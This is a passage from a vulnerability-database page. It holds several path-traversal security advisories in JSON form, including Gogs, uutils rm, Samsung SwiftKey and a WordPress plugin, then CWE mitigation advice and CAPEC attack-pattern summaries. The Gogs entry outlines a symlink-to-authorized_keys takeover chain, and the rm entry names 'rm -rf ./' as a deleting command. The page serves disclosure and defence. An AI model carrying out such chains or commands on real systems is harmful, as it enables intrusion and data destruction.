internal/database/repo_editor.go)\n# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)\nsed -n \u002713,16p\u0027 internal/pathx/pathx.go\n# Confirm: pathx.Clean does ReplaceAll(\"\\\\\", \"/\")\n```\n\nImpact\n\n- **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) \u2192 upload with crafted filename \u2192 commit \u2192 write to `~git/.ssh/authorized_keys` \u2192 ssh in.\n- Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials).\n- Persistent: symlink and key both survive restart; removing the attacker\u0027s repo access does not undo the SSH foothold.\n- Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git\u0027s `core.symlinks` default).",
"id": "GHSA-89mr-xqfv-758m",
"modified": "2026-07-21T13:40:15Z",
"published": "2026-06-23T17:09:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-89mr-xqfv-758m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52811"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8332"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym"
}
GHSA-89P7-7CQ3-HHR2
Vulnerability from github – Published: 2026-07-06 20:20 – Updated: 2026-07-06 20:20rm -rf . is correctly refused, but clean_trailing_slashes normalizes ./// to ./ while path_is_current_or_parent_directory only matches ./.. (and /.//..), not ./ or ../. So rm -rf ./ recursively deletes the directory's contents and then prints a misleading cannot remove './': Invalid input.
Impact: all files/subdirectories in the current directory are silently deleted; the misleading error makes users miss the recovery window. Recommendation: handle trailing-slash variants in path_is_current_or_parent_directory.
Remediation: Acknowledged by Canonical; fixed in commit d0e5af23.
Reported by Zellic in the uutils coreutils Program Security Assessment (prepared for Canonical, Jan 20 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242. Finding 3.60. Credit: Zellic.
Upstream tracking issue: https://github.com/uutils/coreutils/issues/9749 · CVE-2026-35363
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "uu_rm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35363"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:20:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`rm -rf .` is correctly refused, but `clean_trailing_slashes` normalizes `.///` to `./` while `path_is_current_or_parent_directory` only matches `.`/`..` (and `/.`/`/..`), not `./` or `../`. So `rm -rf ./` recursively deletes the directory\u0027s contents and then prints a misleading `cannot remove \u0027./\u0027: Invalid input`.\n\n**Impact:** all files/subdirectories in the current directory are silently deleted; the misleading error makes users miss the recovery window. Recommendation: handle trailing-slash variants in `path_is_current_or_parent_directory`.\n\n**Remediation:** Acknowledged by Canonical; fixed in commit d0e5af23.\n\n---\n_Reported by Zellic in the *uutils coreutils Program Security Assessment* (prepared for Canonical, Jan 20 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`. Finding 3.60. Credit: Zellic._\n\n_Upstream tracking issue: https://github.com/uutils/coreutils/issues/9749 \u00b7 CVE-2026-35363_",
"id": "GHSA-89p7-7cq3-hhr2",
"modified": "2026-07-06T20:20:56Z",
"published": "2026-07-06T20:20:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/security/advisories/GHSA-89p7-7cq3-hhr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35363"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/issues/9749"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "rm: \u0027rm -rf ./\u0027 (and ./// variants) silently deletes current directory contents, bypassing dot protection"
}
GHSA-89P8-PRMX-639J
Vulnerability from github – Published: 2022-05-17 03:27 – Updated: 2025-04-12 12:49Directory traversal vulnerability in the SwiftKey language-pack update implementation on Samsung Galaxy S4, S4 Mini, S5, and S6 devices allows remote web servers to write to arbitrary files, and consequently execute arbitrary code in a privileged context, by leveraging control of the skslm.swiftkey.net domain name and providing a .. (dot dot) in an entry in a ZIP archive, as demonstrated by a traversal to the /data/dalvik-cache directory.
{
"affected": [],
"aliases": [
"CVE-2015-4641"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-06-19T14:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the SwiftKey language-pack update implementation on Samsung Galaxy S4, S4 Mini, S5, and S6 devices allows remote web servers to write to arbitrary files, and consequently execute arbitrary code in a privileged context, by leveraging control of the skslm.swiftkey.net domain name and providing a .. (dot dot) in an entry in a ZIP archive, as demonstrated by a traversal to the /data/dalvik-cache directory.",
"id": "GHSA-89p8-prmx-639j",
"modified": "2025-04-12T12:49:08Z",
"published": "2022-05-17T03:27:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4641"
},
{
"type": "WEB",
"url": "https://github.com/nowsecure/samsung-ime-rce-poc"
},
{
"type": "WEB",
"url": "https://www.nowsecure.com/blog/2015/06/16/remote-code-execution-as-system-user-on-samsung-phones"
},
{
"type": "WEB",
"url": "https://www.nowsecure.com/keyboard-vulnerability"
},
{
"type": "WEB",
"url": "http://arstechnica.com/security/2015/06/new-exploit-turns-samsung-galaxy-phones-into-remote-bugging-devices"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/155412"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75353"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-89PQ-QVJV-F582
Vulnerability from github – Published: 2022-05-01 23:45 – Updated: 2022-05-01 23:45Multiple absolute path traversal vulnerabilities in certain ActiveX controls in WatchFire AppScan 7.0 allow remote attackers to create or overwrite arbitrary files via a full pathname in the argument to the (1) CompactSave and (2) SaveSession method in one control, and the (3) saveRecordedExploreToFile method in a different control. NOTE: this can be leveraged for code execution by writing to a Startup folder.
{
"affected": [],
"aliases": [
"CVE-2008-2015"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-30T01:07:00Z",
"severity": "HIGH"
},
"details": "Multiple absolute path traversal vulnerabilities in certain ActiveX controls in WatchFire AppScan 7.0 allow remote attackers to create or overwrite arbitrary files via a full pathname in the argument to the (1) CompactSave and (2) SaveSession method in one control, and the (3) saveRecordedExploreToFile method in a different control. NOTE: this can be leveraged for code execution by writing to a Startup folder.",
"id": "GHSA-89pq-qvjv-f582",
"modified": "2022-05-01T23:45:49Z",
"published": "2022-05-01T23:45:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2015"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42077"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5496"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28940"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019948"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-89R2-JH3P-H38P
Vulnerability from github – Published: 2024-02-26 18:30 – Updated: 2026-04-08 18:32The Brizy – Page Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.4.39 via the 'id'. This makes it possible for authenticated attackers, with contributor-level access and above, to upload files to arbitrary locations on the server
{
"affected": [],
"aliases": [
"CVE-2024-1165"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-26T16:27:51Z",
"severity": "MODERATE"
},
"details": "The Brizy \u2013 Page Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.4.39 via the \u0027id\u0027. This makes it possible for authenticated attackers, with contributor-level access and above, to upload files to arbitrary locations on the server",
"id": "GHSA-89r2-jh3p-h38p",
"modified": "2026-04-08T18:32:35Z",
"published": "2024-02-26T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1165"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/brizy/tags/2.4.39/editor/screenshot/manager.php#L33"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3034945/brizy/tags/2.4.41/editor/screenshot/manager.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7673b2ba-5d7a-4ae9-92e7-1a910687fdb8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.